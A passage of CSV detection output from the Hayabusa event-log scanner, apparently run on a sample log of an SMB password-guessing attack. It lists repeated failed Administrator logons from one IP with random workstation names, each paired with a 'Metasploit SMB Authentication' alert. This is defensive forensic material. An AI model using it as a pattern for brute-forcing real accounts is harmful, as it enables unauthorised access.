Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kka1RiF3f7Nhkf8x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.959 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2o90lG6attzWU4ZN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.959 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.998 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PyPK9kuJdflQ4RKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.998 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.028 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a9I3El7d7anR0kIz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.028 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eDUMTEfNhFuuqMle : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e0F70d1WstkqnQgA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.110 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bm0txApQSp1U42N3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JeEe5ENSIZnfc3FG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oasE54Z1FlpswY0d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bhje1BgvxOlG28JM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L9iTIv4UQ4En9RA2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.321 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.356 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mg8KFm1lCeImj8Sb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.356 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h17Fz1s6GJki61jg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.400 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.440 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Pjjn4FAkJn4h32r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.440 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.483 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ARVx3FAAww8Gmfvc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.483 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.533 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sYIwPg5k1wpvWobN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.533 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0sfhYQ54SjC4JTX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.572 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nfZYnUPV40FShcqt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XYbvWVCT0tFixZTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XC6Vmz0ql8myDuGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PJ8JvuvZZzwSOzFo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.744 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s06yKaogI6FYkXla : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pCjOc7PguxwNKoQR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.828 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.876 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BX5IosnpdYZK5xZj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.876 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gfMjB1epEm64wVEX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.905 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pb4FVO2SKsoMyt1K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:48.947 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.003 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1qoRw2jjFx4F6Wx6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.003 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ImiLeiteLoSw32I0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.048 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KcIYD47BIEP8gB0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.083 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.120 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lUAeB15aWamcaZ8L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.120 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KFOKiSDWc1dWjzge : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.211 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hqyMtzjKSJEtEAdx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.211 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.251 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WtHsItpyFHQxvLWm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.251 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.287 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RdGMqIhUGHj23Xm2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.287 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BfE5LVmrPaAFLwBR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b1swKSla5gkdOwxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.368 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kL9MdVnRVogiP7hF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.408 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aQ0hRdwZvC5PBcXl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ctbv73J0Dot9raD0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.497 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wKpWApJIKkjbtaPB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.590 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kVTAv9VoNpUyxQFM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.590 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.642 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xb3t1dpuk9JZri5p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.642 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fy0UrW8TWrxAOX90 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iUXUbUsiE6Ahh9iD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2QQdQ6rQYLBf15AF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.820 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zG4eJLuQ4u2dKQG0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.820 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.854 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QCfwHs2gVGiRc3Fy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:49.854 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 